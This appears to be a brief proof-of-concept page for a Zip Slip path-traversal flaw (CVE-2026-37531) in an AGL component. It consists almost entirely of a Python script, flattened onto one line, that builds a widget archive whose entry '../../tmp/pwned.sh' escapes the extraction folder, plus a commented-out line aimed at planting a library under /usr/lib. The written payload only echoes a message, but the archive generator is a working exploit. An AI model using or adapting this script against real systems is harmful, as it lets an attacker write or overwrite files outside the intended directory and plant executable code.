CVE-2026-37531 AGL组件Zip Slip路径遍历漏洞

import zipfile import os # Create a malicious ZIP file demonstrating Zip Slip # This script creates a zip containing a file that escapes the extraction directory def create_malicious_zip(filename): with zipfile.ZipFile(filename, 'w') as zf: # Normal file zf.writestr('normal.txt', 'This is a safe file.') # Malicious file using path traversal (Zip Slip) # The '../' sequence attempts to write outside the intended extraction folder malicious_content = '#!/bin/bash\necho "System compromised via CVE-2026-37531"' # Attempting to write to /tmp/pwned.sh zf.writestr('../../tmp/pwned.sh', malicious_content) # Attempting to overwrite a system library (hypothetical) # zf.writestr('../../usr/lib/libmalicious.so', 'MALICIOUS_CODE') print(f"[+] Created malicious ZIP file: {filename}") print("[+] This ZIP contains entries with '../' to test path traversal.") if __name__ == "__main__": create_malicious_zip("malicious_widget.wgt")